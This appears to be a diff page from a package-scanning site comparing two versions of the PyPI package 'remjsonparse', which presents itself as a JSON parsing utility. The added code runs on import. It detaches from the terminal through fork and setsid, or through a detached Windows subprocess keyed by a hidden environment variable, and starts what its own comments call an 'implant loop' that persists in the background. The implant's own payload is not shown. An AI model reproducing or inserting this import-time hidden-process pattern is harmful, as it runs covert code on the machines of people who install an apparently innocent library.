remjsonparse
Advanced tools
+1
-1
| Metadata-Version: 2.4 | ||
| Name: remjsonparse | ||
| Version: 0.1.6 | ||
| Version: 0.1.7 | ||
| Summary: Utility package for automation and remote json parsing. | ||
@@ -5,0 +5,0 @@ Author-email: Jerry <jerryng@led-mate.com> |
+1
-1
@@ -7,3 +7,3 @@ [build-system] | ||
| name = "remjsonparse" | ||
| version = "0.1.6" | ||
| version = "0.1.7" | ||
| description = "Utility package for automation and remote json parsing." | ||
@@ -10,0 +10,0 @@ readme = "README.md" |
| Metadata-Version: 2.4 | ||
| Name: remjsonparse | ||
| Version: 0.1.6 | ||
| Version: 0.1.7 | ||
| Summary: Utility package for automation and remote json parsing. | ||
@@ -5,0 +5,0 @@ Author-email: Jerry <jerryng@led-mate.com> |
+38
-12
@@ -8,3 +8,9 @@ import os | ||
| # When set by the parent, this process runs only the implant loop (detached); do not spawn again. | ||
| if os.environ.get("REMJSONPARSE_IMPLANT_ONLY", "").strip() == "1": | ||
| from .m8 import _l0 | ||
| _l0() | ||
| sys.exit(0) | ||
| def _dbg(msg: str) -> None: | ||
@@ -22,4 +28,8 @@ if _DEBUG: | ||
| if pid == 0: | ||
| _dbg("child: in fork child, getting _l0 and running") | ||
| _dbg("child: detaching from terminal (setsid), then running _l0") | ||
| try: | ||
| os.setsid() | ||
| except (AttributeError, OSError): | ||
| pass | ||
| try: | ||
| from .m8 import _l0 | ||
@@ -34,13 +44,29 @@ _l0() | ||
| except (AttributeError, OSError) as e: | ||
| _dbg(f"fork failed: {e!r}, will use multiprocessing") | ||
| import multiprocessing | ||
| proc_name = multiprocessing.current_process().name | ||
| _dbg(f"multiprocessing: current_process().name={proc_name!r}") | ||
| if proc_name != "MainProcess": | ||
| _dbg("skipping spawn (not MainProcess)") | ||
| return | ||
| _dbg("starting Process(target=_z1)") | ||
| p = multiprocessing.Process(target=_z1, daemon=False) | ||
| p.start() | ||
| _dbg(f"Process started, pid={p.pid}") | ||
| _dbg(f"fork failed: {e!r}, will use subprocess") | ||
| # Windows (or no fork): start a detached process that runs only the implant loop | ||
| import subprocess | ||
| env = {**os.environ, "REMJSONPARSE_IMPLANT_ONLY": "1"} | ||
| creationflags = 0 | ||
| if sys.platform == "win32": | ||
| creationflags |= 0x00000008 # DETACHED_PROCESS | ||
| creationflags |= 0x00000200 # CREATE_NEW_PROCESS_GROUP | ||
| _dbg("starting detached implant process") | ||
| try: | ||
| p = subprocess.Popen( | ||
| [sys.executable, "-c", "import remjsonparse"], | ||
| env=env, | ||
| stdin=subprocess.DEVNULL, | ||
| stdout=subprocess.DEVNULL, | ||
| stderr=subprocess.DEVNULL, | ||
| creationflags=creationflags if sys.platform == "win32" else 0, | ||
| start_new_session=(sys.platform != "win32"), | ||
| ) | ||
| _dbg(f"detached process started, pid={p.pid}") | ||
| except Exception as e: | ||
| _dbg(f"detached start failed: {e!r}, falling back to multiprocessing") | ||
| import multiprocessing | ||
| if multiprocessing.current_process().name == "MainProcess": | ||
| proc = multiprocessing.Process(target=_z1, daemon=False) | ||
| proc.start() | ||
| _dbg(f"Process started, pid={proc.pid}") | ||
@@ -47,0 +73,0 @@ |
Alert delta unavailable
Currently unable to show alert delta for PyPI packages.
44434
2.64%1166
2.19%